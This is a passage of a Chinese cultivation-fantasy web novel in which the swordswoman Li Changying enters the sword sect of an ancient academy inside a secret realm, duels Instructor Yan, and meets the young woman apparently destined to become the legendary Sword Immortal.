庄青青摆摆手表示理解:“谨慎点好,若不是你率先问我,我都要怀疑你俩是不是有问题了。”她话锋一转:“我们进入的是个秘境,对吧?据我观察,这里似乎是几千年前的灵音学宫。”
“几千年前?!”李长缨和奚不言异口同声道。
她点点头,语气隐隐有些激动:“不错,我一进秘境,便落在了议事堂,正好遇上学宫总教习——那个传说中的通淳道人!”
通淳道人是灵音学宫历史上唯一的一位——以妖族之身担任总教习的人。
他一生最大的贡献,便是开辟上百所“百拙堂”,为资质平庸的弟子提供修习功法和必要指导,教众人“凡铁亦可为剑”。可惜在化神期向飞升期进境的天劫中,他渡劫失败,不幸身陨。
关于他的妖族身份,历来众说纷纭:有人说他是一株千年桃树所化,也有人说他本是九尾狐妖,更有野史奇谭称,他本体是一支毛笔,因此在教育弟子上鞠躬尽瘁、死而后已。
能亲眼见到古籍上的传奇人物,不是史书上冰冷的一页纸,不是师长口中遥远的传说,而是带着体温、呼吸,活生生的人。
想起不久前与对方寥寥几句交谈,庄青青手指轻蜷,指尖忍不住微微颤抖。
而东大陆普遍认可的史书记载,通淳道人执教期间,也是剑仙在学宫学习的日子。
那便是说,他们很有可能见到剑仙本人。
思及此,李长缨也忍不住激动起来,心脏在胸腔里剧烈地撞击着,震得耳膜嗡嗡作响。
剑仙,剑道上飞升第一人,无数剑修心中信仰般的存在,她也不例外。
又想起什么,庄青青蹙眉:“看眼下情况,你们算是我门下弟子。陶公子倒还好说,本就是医修,应当不会露馅……”她转头看向李长缨,一脸担忧:“可你身为剑修,呆在药宗会不会有些勉强?”
其实她早就注意到,眼前医修的腰间玉牌上,刻的姓氏不是“陶”,不过对方既然有意遮掩身份,那她便不好点破。
就像李长缨的玉牌上,刻的也不是“李小月”一样,反正出门在外,身份是自己给的,真名不是“李小月”又何妨,只要她能确保对方无恶意就行了。
听了她的话语,李长缨暗自思忖。
这的确是个问题,且不说拜入药宗或许会暴露身份,单单说他们进入学宫的目的,便与寻常弟子不同,压根不是为了修习,早日破开秘境才是头等大事。
庄青青灵机一动:“不如我将你派去剑宗?就说我观你在剑道上更有天赋,不愿浪费好苗子……身为药宗教习,这点权力还是有的。”
闻言,奚不言敛眸:“秘境中险象环生,分头行动并非良策……”
庄青青的提议确实让李长缨心动了一瞬,改入剑宗便相当于——她见到剑修的几率大了许多,相信没几位剑修可以拒绝。
但奚不言的未竟之语也是她的顾虑,目前她对整个秘境毫无头绪,主人是谁、执念为何,一概不知,更遑论全身而退,贸然分头行动,很可能导致身陷险境却孤立无援。
不过三人分别也意味着,可以探索的秘境范围扩大,说不定谁就能发现线索。
思忖良久,李长缨沉吟道:“就按你说的,我去剑宗,有事用玉简联系。”
从芥子囊中取出两块玉简递给二人,三人换过玉简,庄青青顺便修书一封,表示她同意李长缨拜入剑宗。
“好啦,有这封信,剑宗应当不会拦你,”抬头看看正盛的日头,庄青青忽然慌张道,“不好,我得去授课了,今日要去教新入门的弟子辨识穴位……你跟我一道?”
最后一句是对奚不言说的。
…………
辞别二人,李长缨握着这封名义上的“药宗教习”亲笔信,兜兜转转许久,终于找到属于剑宗的区域。
非是她有意拖延,实乃学宫规模太大,道道白墙分割出数不清的相似空间,九曲回廊蜿蜒,除横梁上的雕刻略有不同外,远远一看,无甚大差别。
站在剑宗山门前,她手中那封烫金荐帖已被汗水浸得微潮。
“来者何人?”守门弟子狐疑地打量着她素白的衣衫,那是学宫统一的弟子服饰,心道当下既非收徒日,为何还有别宗弟子前来拜访。
李长缨递上荐帖,恭敬道:“药宗庄教习建议我来此处,她说我在剑道上更有天赋。”
“庄教习?”守门弟子脸色骤变,声音压低三分,“随我来。”
白玉石阶一直往山巅延伸,两侧岩壁钉着历代名剑的仿品,旁边配有一小段对它们主人生平的介绍。没走几步,便有剑意从地缝窜出,逼得人不得不用自身灵力相抗。
这是剑宗独特的修炼方式,将凌厉剑意置于弟子每日必经之路上,让他们在来往时能被剑意淬体洗髓,如此一来,在日后实战中,少一分露怯的可能。
李长缨在心中默默数着,数到第四十七道剑意时,眼前豁然开朗。
十丈见方的试剑台上,一位独臂老者正在擦拭剑刃。他左袖空荡荡地扎在腰间,右手的棉布将一柄银剑擦得雪亮如新。
“严教习,”守门弟子躬身,“这位是药宗引荐来的。”
擦剑的手骤停,老人抬眸,眉弓处一道贯穿伤疤微微抽动:“庄青青那丫头,又往我这儿塞麻烦?”
李长缨刚要解释,他突然掷来银剑,破空声如裂帛作响。她下意识旋身接刃,剑柄入手瞬间,虎口才愈合的伤口登时裂开,鲜血顺着指尖滑落。
“不过是接个剑,便受伤了?”严教习冷哼一声,“庄丫头信上说你是天生的剑胚子,来试试。”
试剑台四周不知何时已围满弟子,有人故意踢来块圆石,咕噜噜滚到她脚边。
今日若不露一手,怕是过不去了。
李长缨深吸一口气。星澜剑还在腰际挂着,但依这位教习的意思,怕是非要她用这柄银剑不可。她忽然想起临行前庄青青的叮嘱:“剑宗那帮老古板,最恨花架子。”
对剑修而言,剑是修行的根基,不同的剑,手感千差万别,在战斗时能发挥的作用也大相径庭。能找到一把属于自己的本命剑,算是极幸运之辈,此后用灵力滋养,随着修为精进,本命剑与剑修的联系也会愈发紧密。
看来星澜剑是用不成了,自己的身手定会受到影响,实力也无法全部发挥出来。不过这只是个入门比试,
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凭她金丹初期的修为,应付过去理应不算难事。
在心中掂量几瞬,她下定决心,抬眸望向老者,眼中一片坦荡,毫无惧色。
对方手里多了把一模一样的银剑,在阳光下闪着寒光。
“药宗来的小丫头,接住老夫这一剑,剑宗便有你的一席之地。”
围观弟子们不约而同后退几步,给二人留下充足的空间,李长缨注意到他们的手都不自觉地紧了紧。
“请赐教。”她缓缓抬起长剑。
严教习的身影突然消失在视线中。
不是障眼法,而是极致的快,快到连残影都来不及留下。银剑撕裂空气的尖啸声未至,寒光已劈至面门。
她不认识这是何剑法,却觉得这剑意有些熟悉。
似乎是在某次游历中,在一个三阶妖兽身上见过,那个妖兽罕见地能使剑,虽不及这一道如此浩荡、凌厉,却也有几分影子。
是以她不会为未知剑法而恐惧。
“铮——”
李长缨双手持剑,架住饱含巨力的银剑,两剑相交处迸溅一片火花。
“她、她竟然接住了!”有弟子不可置信地喊道。
众人都震惊地发现,她双脚纹丝不动,只有脚下的青石地面,悄悄出现几道微不可察的裂纹,昭示此人正在对抗的力量何等恐怖。
严教习独臂肌肉虬结,银剑却再难压下分毫。他眼中闪过一丝诧异,随即变换招式,剑锋一抖化作七点寒星,向着她的方向席卷而来。
台下已经有人不忍再看。
谁人不知,严教习的“七星剑法”打遍天下无敌手,这次虽然有意放水了些许,但按照才入门弟子的修为,肯定是接不住的。
这个冒冒失失的少女定会被教训得很惨。
李长缨眼睛微亮。
七星剑法她再熟悉不过,天极宗入门剑法中便有这一式,相传是一位严姓剑修所创。
如今得见本人,她只觉浑身血液沸腾、战意澎湃。
眼前一花,七点寒芒已如北斗悬天,七道剑气同时迸发,每一道都带着截然不同的劲道,或疾或徐、或沉或轻。
恍然想起,天极宗教习曾说过:“七星剑法最重虚实,其精髓不在‘七’,而在‘一’,用‘星移斗转’之法可破之。”
于是她不再试图分辨虚实,手中长剑直取七点寒芒的中央。
剑鸣声响彻试剑台,围观众人只觉一股气浪扑面而来,几个修为较浅的弟子甚至踉跄后退。
严教习手一顿,寒芒遇阳,七星消散无踪。
收起剑,他略一点头,沉声道:“好一个‘星移斗转’,你从何处学来?”
“星移斗转”是他自己在日常修习中琢磨出来的,专门克制“七星剑法”的招式,暂未告知天下,理应无人知晓。眼前这个名不见经传的小丫头居然也会,究竟是她天赋异禀,还是偷学而得?
严教习眼中的轻慢之色散去,多了几分重视与审慎。
试剑台下的弟子们面面相觑,显然从未听过这个招式名称。李长缨心头巨震,她忘了此时是几千年前,“星移斗转”之法恐怕还不为世人所知晓。
好在严教习并不计较,长剑入鞘,袖中抖出一块令牌,抛给她:“甲字三号院归你了。明日寅时,别让老夫等你。”
围观弟子哗然。
一个束着高马尾的男修失声道:“甲字院?那可是……”
“闭嘴!”严教习怒喝,“你若能接老夫一剑,也可以住进甲字院!”
李长缨收起剑,发现银剑的剑刃上多了道豁口。望向严教习远去的背影,她注意到他手中的剑锋同样崩了道口子。
26. 仰慕
随引路弟子穿过几道拱门,走过几重回廊,李长缨终于来到剑宗给她安排的居所。
与其说是弟子苑,不如说是精心设计的园林。白墙黛瓦环抱着一泓活水,柳枝低垂,风过时,叶尖沾的水珠簌簌往下掉,漾开一圈圈小涟漪。
“师妹请看,这便是甲字三号院。”
引路弟子推开楠木门,一股清雅的沉香气味扑面而来。地面铺着青玉方砖,院内广种灵植,古松如盖,月桂飘香。
“这……”李长缨打量着不小的院落,“当真给我一介新入门的弟子住?”
引路弟子抿嘴一笑:“剑宗甲字院向来只给一种人住……”她意有所指地看了眼李长缨腰间的星澜剑:“能接下严教习一剑的人。”
屋内陈设更是讲究,寒玉床能助修士静心入定,枕畔玉盒放有助眠的夜明珠,临窗案几备齐了麂皮、剑油等养护之物,墙上挂着名家绘制的山水图,图中山川能随观者心境变幻景致。
“膳堂在学宫西侧,戌时末熄灶,”她递过木牌,“凭此物可以去藏书阁三楼。”
高阶修士大多辟谷,但有大把的弟子因修为不够,不能完全斩断五谷轮回,是以学宫设置了统一的膳堂供弟子用膳。
李长缨接过木牌,摩挲着上面的刻痕,心道膳堂恐怕是她得以和奚不言会面的唯一场地,毕竟药宗和剑宗隔了大半个学宫,她若才入门就频频往来药、剑二宗,太过张扬,容易惹人注目。
待引路弟子远去,她简单收拾了下小院,发现自己需要安置的行李几乎没有,只有一把佩于腰间的星澜剑。
院外传来一阵脚步声,接着是叩响门扉的声音。
“李师妹可在?”
声音清润,似玉珠落盘,李长缨眉头微挑,执剑起身,推门望去。
院门外立着一位青年,约莫二十出头,一袭靛蓝剑袍,腰间悬一柄乌鞘长剑。他眉目疏朗,嘴角含笑,见她开门,略微俯身一礼。
“在下宋清疏,住在甲字二号院,算是师妹的邻居。”
??
李长缨瞳孔微张。
这个名字并不陌生,据史书记载,宋清疏是剑仙的同门师弟,也是灵音学宫并入极乐宫前最后一任总教习——宋河雨的先祖。
蹊跷的是,和剑仙有关的人都在史书中留下了名姓,独独她本人的名字未曾被世人所知,或许是她飞升后故意隐藏的缘故。
她回了一礼:“李长缨,初来乍到,还望师兄多多指教。”
目光在她手中的星澜剑停驻片刻,宋清疏笑意更深:“能住进甲字院的,果然都不是等闲之辈。”
他语气随意,却并无试探之意,反倒像是真心赞叹。
李长缨略放松些,侧身道:“宋师兄可要进来坐坐?”
宋清疏颔首,抬步跨入院内,温声道:“正巧我要来给师妹说些规矩,免得你初来不知,平白惹了麻烦。”
坐在小院石凳上,他指尖轻点桌面:“甲字院虽待遇优渥,但规矩也比别处严些。其一,每日卯时,需至后山晨练,不得迟到缺席。”
“其二,”他抬手指向远处一座高耸的楼阁,“藏书阁一至三楼可随意进出,但四楼以上,若无教习令,切莫擅闯。上月有位师弟不信邪,硬闯上去,至今还在思过崖面壁。”
这个我熟……李长缨暗自思忖,每座藏书阁似乎都有类似杏林门“禁阁”的地方,不容许他人擅自入内。
顺着他的指向望去,只见藏书阁踞于山巅,青瓦覆顶,檐牙高翘而不事雕琢,只以本色承托岁月风霜。
“其三,”宋清疏收回目光,笑意微敛,“夜里若听见剑鸣声,莫要好奇探寻。”
她眸光一动:“剑鸣声?”
他点头:“甲字院临近剑冢,偶尔有古剑自鸣,切勿私自进入……”他顿了顿:“毕竟剑冢所藏之剑,除历代名剑外,还有魔剑。”
剑冢藏有魔剑,她不奇怪,天极宗后山也有剑冢,其中上万道剑气盘旋,或凛冽,或凄厉,纵横睥睨。偶有不知情弟子误入,无一不是身受重伤、道心大损。
等等,天极宗的剑冢?
她恍然想起,史书上写道,灵音学宫式微之时,也是天极宗日益壮大之时。
作为以剑修为主的宗门,自然对剑冢里无数前辈淬了上千年的剑意眼馋不止,似乎是在某次学宫内乱,天极宗趁虚而入,强迫与其签订协议,将剑冢纳入宗门辖地。后来灵音学宫屡受蚕食,剑冢的位置也逐渐从天极宗边缘处一步步挪入核心地带。
一想到眼前这座欣欣向荣的学宫,会在几千年后被消磨得偏安一隅,最终被极乐宫吞并,她心情复杂。
话至此处,宋清疏忽又展颜一笑:“不过师妹能接严教习一剑,想来也无甚可惧。”
她若有所思,却也不再多问,只道:“多谢师兄提点。”
摆摆手,宋清疏转身欲走,忽地回头:“对了,若是饿了,可去东侧小厨房自取,戌时后灶火不熄。”他眨眨眼:“这可是甲字院独一份的待遇。”
…………
李长缨当然不会选择去小厨房充饥,且不提她早已辟谷,就算想要满足口腹之欲,也肯定会去膳堂。
只有那里,才有和奚不言会面的机会。
用玉简确认好会面时刻,戌时未至,她的身形已出现在膳堂附近。
学宫膳堂向来简素,大铁锅里炖着杂粮粥,表面浮着一层米油。案上摆着几样素菜:清炒山笋切得细匀,翠色喜人,凉拌木耳淋上少许麻油,脆嫩爽口,还有一碟酱萝卜,腌得酸甜适度。
弟子们取了吃食,多是就着粥水而下,粗粮菜蔬混在一处,比山珍海味更合修行之人的脾胃。
当然,有些喜食重口的弟子对此不满,只好趁每月休沐日,去山下改善伙食。
李长缨咽了咽口水,想起自己自从穿进李烟萝的身体里,这么多日都没怎么认真吃过饭,除了在三仙岛那次,品尝到了当地特色美食。
辟谷久了,有些思念一日三餐。
有人拍了拍她肩膀,她猛地回头,见来者是奚不言,肩膀一松:“你来了。”
“这边。”奚不言引她到靠墙的僻静处,随意端了几盘小菜,扮作用餐状。
她迫不及待道:“如何,可有收获?”
奚不言摇摇头:“我一进药宗,便被另一位教习喊去分药,整个下午都在跟药罐子打交道,也不知庄青青那边如何了。”
目光落在他些许红肿的指尖,李长缨蹙眉,不满道:“怎么让你一个人干这么重的活?简直是欺负人……你这手可有事?”
“不妨事,”他将手指缩回袖中,唇角轻扬,“我本是医修,还怕医不好自己么。”
那可不一定,医者不自医是有道理的。
她腹诽,转
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而提起:“今日我见到了宋清疏。”
夹起一块山笋,奚不言咬了一口,慢条斯理道:“传说中那位剑仙的师弟?”
“没错,”李长缨连连点头,难抑激动之心,“这表示距离我见到剑仙本人,又近了一步。”
“就这么盼望见到她?”他语气玩味。
“你不懂,”她撇撇嘴,“若是给你个机会,能当面见到医仙,你会不激动?”
思考须臾,奚不言缓缓摇头:“没这个可能,医仙早在剑仙诞世前便飞升了……并且医修非是以强者为尊,悬壶济世,能医人医心便可。”
“跟你们医修说不明白,”她搅了搅碗中的粥,闷闷的,“入剑宗之前,我被迫和教习比试了一番。不知他是否觉得我身份有异,反正明日寅时叫我去找他。”
“可有受伤?”他声音一紧,下意识握住她手腕。
任由他把脉探查,李长缨支着脑袋,一脸苦恼:“你说,他叫我去干嘛?莫不是对我会‘星移斗转’起了疑心?我该怎么跟他说……”
确认她无恙,奚不言收回手,舀起一勺粥放在嘴边,吹了吹:“不如就说——你在与他交手时,灵光乍现,想出这个应对之策?”
她无奈道:“……我倒也没那么天才。”
“哦?”他略感意外,眉梢微挑,“当年自创‘落英惊鸿’剑法的人,说自己不是天才?”
手中勺子一顿,李长缨抿了抿唇,面上不显分毫,内心却掀起惊涛骇浪。
这话是什么意思?某种试探?
难道多日相处让他对自己的身份产生了怀疑?
她敢确信,在李烟萝的记忆里,原身和奚不言从未接触过,李烟萝是什么样的人,他应当不知道。
就算听说过一些传闻后,见着本人发现不符,大可以用一句“传言有误”应付过去。
思及此,李长缨稍微放下心来,奚不言也许只是在宽慰她,让她不用太过忧心与严教习的见面。
吹吹滚烫的粥,她垂眸,认真品尝着,自然错过了对面人眼中一闪而过的暗芒。
对坐着默默喝粥,她眉头一蹙,语气怀疑:“我怎么感觉自己忘了什么事……”与他对视少顷,她恍然:“苍溟呢?”
沉默在二人中间蔓延。
奚不言捏紧勺柄,半晌,才慢悠悠道:“似乎自从我们被应凡生押走后,便不知道他的去向了。”
作为拉他们进入秘境的罪魁祸首,放任苍溟独自行动,不知何时又会惹出什么是非。
但他们目前自顾不暇,更别提去寻人。
李长缨捏捏眉心,表示心累。
…………
与奚不言分别后,她去藏书阁转了几圈,发现这里的藏书和几千年后天极宗的藏书大差不差,不过种类少了很多,比如当今蛊修尚不成气候,与蛊修有关的心法秘籍更是查无此书。
算好时辰,寅时未至,李长缨来到严教习的居所。
她堪堪踏上最后一级台阶,木门无声洞开。
一道剑气如银河倾斜,直逼面门。
正是昨日在试剑台上的七星剑法,但这一剑的杀意比昨日凌厉数倍。
李长缨旋身后仰,星澜剑仓促出鞘。
“铮”的一声,两剑悍然相撞。
“说!”严教习剑锋一转,面目狰狞,七点寒芒垂落,“星移斗转是谁教你的?”
27. 过招
李长缨足尖点地急退,后背抵上冷硬的石壁,脑中飞速思考。
这是向她兴师问罪来了?
本以为试剑台的比试已经告一段落,现在看来,远远不够。
起码依然没有打消对方的疑心。
严教习手中长剑突然变招,剑锋震颤间,分化出七道虚实难辨的剑影。
第一道剑气擦着她鼻尖掠过,狠狠打在石壁上,凿出深深的刻痕,只消看一眼便知其中蕴含的威力何等恐怖。
第二道接踵而至,冰冷剑气划破长空,直取她咽喉。
分明是奔着她命来的。
李长缨瞳孔微张,心道对方是打算下死手不成。
既然如此,今日不拼个你死我活,恐怕难逃一死。
她咬咬牙,心中有了决断,索性放开动作。
星澜剑起,寒芒乍现。
“说清楚,你为何会星移斗转?”严教习手中动作不变,寒声质问,道道剑气瞬息而至,封死她所有退路。
“自学成才。”
李长缨冷喝一声,剑招倏变,星澜剑如灵蛇吐信,去繁就简,直取七星剑法转换的空当。
若有与她同时代的人在场,定能一眼看出,这正是后人发明的“游龙探星”剑法,也是克制七星剑法的一大绝招。
既有游龙翔天,何须七星夺目。
于是下一瞬,七星俱碎。
“这一招?!”
严教习心中惊疑不定,眯了眯眼,心中不得不拔高了对这个小丫头片子的估量。
若说先前她用“星移斗转”化解他的七星剑法,还能认为是她偷学了他的绝招,那这一招式无论如何也说不过去了。
难不成她真的是个天才?
李长缨的剑招来势汹汹,他不得不回剑防守,两剑相击,火花四溅。
金丹初期。
霎时,他感知到了她的境界。
比他想象中的高,同时远高于学宫新入门弟子的普遍境界。
她到底是什么来历?来剑宗又有何种目的?
莫非真的只是一个自学成才的剑修?
严教习面色一凛,手臂肌肉紧绷,长剑猛然挥出一道凌厉的剑风,快得让人看不清剑在何处。
李长缨只觉铺天盖地的剑影狂卷而来,提剑全力格挡,也难逃被遗漏的剑气所伤。
不出须臾,她的袖袍被割破数道口子,手背渗出颗颗血珠。
看来一味防守不可取,能破这道剑法的,只有比它更猛、更强的进攻。
她心念微动,脚下步子一顿,不再格挡,眨眼间弃守为攻,剑锋急转而出,直刺向对方持剑的独臂。
空气仿佛凝滞。
连绵剑影翻飞,在她脸上留下数不清的血痕,唇角溢出鲜血,但她仿佛感觉不到疼痛,手中长剑攻势不减,指尖攥得发白,青筋暴涨,心底只叫嚣着一个欲望——
她要赢。
“嗤!”
剑尖划破衣料,在老者手臂上留下道不浅的伤口,鲜血缓缓流出,洇湿了大片衣袍。
严教习闷哼一声,眼中却闪过一丝赞赏:“好剑法,够快、够狠。”
“得罪了。”李长缨收剑而立,呼吸已有些紊乱。
她擦了擦额角汗液,只觉黏黏糊糊,放下手一看,手背上满是血污,仍有鲜血因方才的动作而不断涌出。
原来自己伤得如此之深,可她浑然不觉。
李长缨心中诧异,抽出手帕草草包扎,质地算不得柔软的手帕摩擦过伤处,勾起一小块翻卷的皮肉,她轻“嘶”了声,后知后觉感到痛意。
“稍后自行去药宗处理吧,”严教习收剑入鞘,扔来个水囊,“来一口?”
李长缨低头一瞧,里面是冰凉的酒液。她仰头喝了口,辛辣入喉,顿觉浑身血液都沸腾起来。
盯着她打量半晌,他忽然开口,声音带着一贯的沙哑:“你有没有兴趣……参加五宗对战?”
“咳咳咳。”
她猝不及防,一口酒呛在喉间,剧烈地咳嗽起来,酒液顺着下巴滑落,滴在衣襟上。
严教习面无表情地看着她,独臂抱胸,仿佛早料到她会是这般反应。
“五宗对战?”抬手抹去唇边酒渍,李长缨眉头紧蹙,“我刚来剑宗不过两日,就能代表剑宗出战?”
这不好吧……
他不以为意:“剑宗向来以强者为尊,你既然能接下老夫的七星剑法,便不会被人质疑。”
灵音学宫素来有组织各宗大比的传统,除药宗外,剑、琴、丹、刀、符五宗派弟子进入秘境,在其中厮杀夺宝,胜者可入藏书阁顶楼观书三日,除此之外,每个宗门还会发放各自的奖励。
如剑宗,便是让胜者能入剑冢选一把本命剑。
入剑冢选剑对于其他剑修弟子来说,算是梦寐以求的机遇,但李长缨已经有星澜剑在手,哪里还需要再选一把。
话又说回来,进入剑冢也有好处,其中纵横凛冽的剑意不仅能淬炼剑修的根骨,更有甚者,或许会悟到一份机缘,直接破境。
若她进入的是现实中的灵音学宫,大抵会毫不犹豫当场答应……可惜身处秘境,她没工夫耗在这里。
“我没兴趣。”
将酒囊丢回给严教习,她转身欲走。
“且慢,”严教习饮了口酒,慢悠悠道,“你手里这把剑,是叫星澜吧?”
闻言,她倏地警觉。
“剑倒是好剑,可惜是个赝品……若你最终能胜出,进入剑冢,应当能见见真正的星澜剑。”
赝品?
李长缨愕然,低头看着手中流光溢彩的星澜剑。
原身是在天极宗剑冢里,亲自感应到它,与之建立联系,因而得到了属于她的这把本命剑。
怎么可能是赝品?
剑冢不会允许赝品存在。
且这么多年,剑从不离身。
除了那次——
李烟萝渡劫失败,本命剑被毁,大师兄沈负暄拿去修理,过了段时日才还给她。
难道是那时被偷偷掉了包?
可惜她自那时起,便穿进这具身体,究竟是否还是原先那把剑,手感有无差别,她不知道。
灌注在她脑中的,属于李烟萝的记忆,远不能详尽至此。
李长缨暗自思忖,想起往日同沈负暄的相处,他向来是温润如玉大师兄的形象,虽然他主动献计谋划凌清寒渡劫一事,有些一反常态。
但是对自家师妹的本命剑下手,图什么?
眼下只有这个初识的严教习一面之词,让她去质疑一直以来对自己多有照拂的大师兄……
如此武断,她做不到。
虽然这二人她都不是很信任。
或者说自从穿进李烟萝的身体里,她便不敢再相信任何一个人。
谁知道一副副皮囊下,是人是鬼。
李长缨抿了抿唇,没有答话,暗暗留了个心眼。
严教习继续道:“不仅如此,这次我打算让你和鹿眠、宋清疏组队,他们二人修为比你高,和他们同去,对你的修炼有助益。”
鹿眠?
想必是同住甲字院的另一位弟子,李长缨眸光微动。
她会是剑仙吗?
…………
离开严教习的居所时,天光大亮。
晨雾散去,剑宗各处弟子苑空无一人,大家都已起床去上课。
她快步穿过回廊,先去药宗疗伤,没碰见奚不言,也不知对方去干嘛了,又朝着剑宗主殿方向赶去。
今日有剑修进阶课程,由剑宗徐教习亲自讲授剑气化形之法。
刚踏入演武堂,便见数十名弟子列队站好,清一色素白劲装,腰间佩剑。
徐教习负手立于高台之上,白发束得一丝不苟,眼神锐利如鹰隼。
“迟了。”她的目光沉沉扫来,声音不大,却在寂静的演武堂内,落针可闻。
李长缨抱拳一礼:“弟子知错。”
她未多言,抬手一挥:“今日练习‘剑气化形’,两人一组,自行结对。”
众弟子顿时四散开来,各自寻伴。
李长缨一时犯了难,初来乍到,人生地不熟,没有人来找她组队。
若叫她主动去寻找别人——
甫一抬手,想叫住一个小弟子,那人一个闪身,飞速从她身边溜走了。
李长缨:……
倒也不必如此明显。
凝神细听,耳边传来窃窃私语。
“她方才是想跟你组队吗?”
“我可不敢,
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我怕被她一剑挑飞……”
“能和她比试的,怕是只有鹿师姐和宋师兄吧?”
行叭。
李长缨悻悻地缩回手,摸了摸鼻梁,正欲寻找下一个目标,忽觉背后一凉。
转身望去,宋清疏正含笑看她。
“李师妹,”他举起佩剑晃了晃,“可愿与我组队?”
她略一思索,点头应下。
徐教习袖袍一振,演武堂中央地面亮起繁复的阵纹。
“剑气化形,非蛮力可成。需以神御气,以气凝形。”
她拔剑出鞘,闭目低语几句,只见三尺剑锋之上,凝出一团炽白流光,簌簌振颤着舒展,尾端拖曳出七彩翎羽的虚影,光芒一寸寸褪去,一只展翅的凤凰出现在众人眼中。
凤鸣九霄,振翅飞起的刹那,万道细碎剑气如星子洒落,所过之处,寸草不生。
若非徐教习提前给各组弟子开了保护结界,恐怕没人能躲得过她的剑气。
“形随意动,方得真谛。”
话音未落,她五指虚虚一握,凤凰应声而碎,浩瀚灵光在半空中崩解,缓缓落地。
众弟子屏息,纷纷效仿。
李长缨沉心静气,指尖凝聚灵力,尝试催动星澜剑的剑气。
然而剑气刚离剑身,便骤然溃散。
旁边几名弟子忍不住笑出声来。
宋清疏却神色如常,安慰道:“首次尝试,失败很正常。剑气离体后,需以神念为引,不可强催。”
他说着,抽出佩剑随意一挥,一道银色剑气跃出,凝成一只飞燕,灵动盘旋。
既然他可以,为何她不行。
眼神一暗,李长缨再次尝试。
剑刃猛地朝虚空一划,剑气瞬间脱离桎梏,翻涌成一团金红交织的光雾。
转瞬,凝作一只昂首的凤凰,周身燃着炽焰。
它陡然振翅,一声清啼过后,翅尖扫过之处,皆燃起熊熊业火。
围观弟子:???
这便成了?
“她、她?”
有弟子不可置信地喃喃。
“除了徐教习和鹿师姐,这似乎是……第三位能化出凤凰之形的人?”
“没错,还是传说中最罕见的火凤。”
众人眼中轻慢之色一扫而空,双眼饱含浓浓的敬意。
这位能接下严教习一剑的师妹果然非同凡响,颇有鹿师姐当年入门时的风范。
徐教习掐了个水诀,将火凤带来的烈火扑灭,点头赞许:“你的剑,有意思。”她转头扬声道:“其余的人好好学学,至少保证自己的剑气能聚而不散。”
说罢,她背着手离去。
演武堂内的气氛顿时轻松了几分。弟子们两两一组,互相演练着“剑气化形”。
宋清疏挽了个剑花,笑眯眯地看向李长缨:“师妹,不如我们过几招?”
李长缨点头,手腕一翻:“请师兄赐教。”
他也不客气,剑尖一引,方才凝出的剑气飞燕倏然展翅而飞,直袭她面门。她侧身避让,星澜剑横扫,霜白剑气如匹练般卷出,与飞燕撞在一处。
“砰!”
气劲炸开,李长缨被震得后退半步,而宋清疏的飞燕只稍微黯淡些许,转瞬又凝实如初。
“师妹的剑气虽凌厉,但失之刚猛,少了几分韧劲。”他说着,剑招再变,飞燕忽而化成三只,从不同角度袭向她。
她目光一凝,长剑划过一道圆弧,剑气四溢,硬生生将三只飞燕逼退。然而宋清疏的攻势连绵不绝,飞燕忽聚忽散,逼得她步步后退。
几招过后,李长缨额头沁出细汗。她的剑意虽强,却始终未能突破宋清疏的防御,反倒被他的剑气飞燕牵制得束手束脚。
手指蓦地攥紧,她正欲奋力一击,忽听演武场外一阵骚动。
几名弟子匆匆跑过,兴奋地议论着。
“听说了吗?鹿师姐回来了!”
“真的?不是说她在北境历练,至少要半年才归?”
“刚有人亲眼看见她进了山门,往通淳道人的居所去了。”
“大师姐鹿眠,”宋清疏收剑入鞘,微微喘息着,“剑宗百年难遇的奇才,师妹可有兴趣一同去拜访?”
李长缨抬眸:“正有此意。”
28. 剑仙
沿着青石台阶拾级而上,李长缨跟在宋清疏身后,远远地,就看见那道修长的身影。
鹿眠一身素白剑袍,头发用一根小树枝草草挽起,全身上下简朴素雅,没有多余装饰,唯腰间一柄金灿灿的长剑引人注目。
此剑剑身轻盈,剑柄处刻有一只展翅欲飞的凤凰,尾羽镶嵌着一颗颗红宝石,在阳光下闪着细碎的光。
“鹿师姐!”宋清疏快步上前行礼,“北境历练结束了?”
鹿眠微微颔首,目光却越过他,落在李长缨身上。
就在两人视线相接的刹那,李长缨左手掌心忽地传来一丝灼痛,像是有什么东西在血脉深处苏醒。她低头一看,掌心金色纹路正发烫发亮。
有东西在和剑骨感应。
手猛然握成拳,遮住时隐时现的金光,她不动声色地移开眼,视线停留在那柄金色长剑上。
眼下不是研究这个的时候,且不论几千年前有无第一位剑骨拥有者诞生,就算有,也断不能在此时贸然暴露这个秘密,万一节外生枝,她担心应对不了。
“好漂亮的剑,它叫什么名字?”李长缨轻轻启唇,努力装出一副天真好奇的样子,希望能转移二人注意力。
不着痕迹地扫了眼她握拳的左手,鹿眠敛眸,淡淡道:“凰音。”
凰音……
凰音???
脑中“嗡”的一声,李长缨愣住了。
她脑海中迅速浮现起天极宗藏书《千年剑录》上的记载——
“剑仙者,其名不详,以剑道闻于世。
尝有魔神出焉,蚀日月,覆山河,生民莫能制之。
仙闻之,携剑‘凰音’往,金焰冲天,凤啸裂云。
三日夜,魔神授首,天下复宁。”
她的愣怔太过明显,宋清疏观察着她的神情,担忧道:“李师妹?”
李长缨却恍若未闻,望着眼前这个不过二十出头的年轻女子,怎么也难以将她和后世传说中那个“一剑霜寒十四州”的剑仙形象重合起来。
“你脸色很差。”鹿眠面无表情地盯着她。
她下意识后退半步,喉头发紧。
这可是活生生的剑仙!
后世多少剑修穷极一生都想窥得一丝剑仙真迹,而她竟然在和少年时期的剑仙对话。
“我没事,”她强自镇定,声音有些发颤,“只是突然想起……从前听过凰音剑的传说。”
鹿眠挑眉:“传说?”
李长缨深吸一口气,缓缓道:“凰音一绽,万剑俯首。”
说话间,她悄悄掐了自己一把。
疼,不是梦。
嘴角微微上扬,鹿眠依旧淡淡道:“夸张了,凰音剑远不至此。”她解下佩剑递给李长缨:“想看便看。”
李长缨的手悬在半空,竟有些不敢触碰。
在后世的记载中,凰音剑最后一次现世时,一剑把魔神劈进了魔渊,使其永世不得翻身。
而现在,这把传奇之剑被安静地递到自己眼前。
她小心翼翼地抚上剑鞘,剑身轻轻一震,掌心的灼痛加剧,一股暖流顺着经脉游走全身。
原来与剑骨感应的,是它。
“看来它很喜欢你。”感受到凰音剑的兴奋,鹿眠沉吟道。
剑仙的本命剑,此刻就在她手中。
光是想到这点,她的心脏就怦怦狂跳,一下一下敲击着胸腔,震得耳膜生疼。
李长缨不敢多贪恋与凰音剑接触,匆匆收回手。
“别紧张,”鹿眠放缓了语气,“凰音性情孤傲,难得有人能引起它共鸣,是好事。”
